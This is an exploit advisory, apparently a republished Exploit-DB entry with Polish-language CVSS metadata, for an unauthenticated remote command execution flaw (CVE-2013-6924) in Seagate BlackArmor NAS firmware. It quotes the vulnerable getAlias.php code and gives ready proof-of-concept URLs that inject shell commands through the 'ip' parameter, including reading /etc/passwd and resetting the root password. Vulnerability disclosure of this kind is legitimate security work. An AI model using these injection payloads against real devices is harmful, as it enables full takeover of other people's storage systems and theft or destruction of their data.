Seagate BlackArmor NAS Remote Command Execution

2014.01.06

Credit: Jeroen - IT Nerdbox

Risk: High

Local: No

Remote: Yes

CVE: CVE-2013-6924

CWE: N/A

Ogólna skala CVSS: 10/10

Znaczenie: 10/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

# Exploit Title: Seagate BlackArmor NAS - Remote Command Execution
 
# Google Dork: N/A
 
# Date: 04-01-2014
 
# Exploit Author: Jeroen - IT Nerdbox
 
# Vendor Homepage:  <http://www.seagate.com/> http://www.seagate.com/
 
# Software Link:
<http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/>
http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/
 
# Version: sg2000-2000.1331
 
# Tested on: N/A
 
# CVE : CVE-2013-6924
 
#
 
## Description:
 
#
 
# The file getAlias.php located in /backupmgt has the following lines:
 
#
 
# $ipAddress = $_GET["ip";
 
# if ($ipAddress != "") {
 
#    exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt");
 
#    ..
 
#    ..
 
# }
 
#
 
# The GET parameter can easily be manipulated to execute commands on the
BlackArmor system.
 
#
 
## Proof of Concept:
 
#
 
# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your
command here>;
 
#
 
## Example to change the root password to 'mypassword':
 
#
 
# http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo
'mypassword' | passwd --stdin;

Referencje:

http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/

See this note in RAW Version

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Seagate BlackArmor NAS Remote Command Execution

Referencje:

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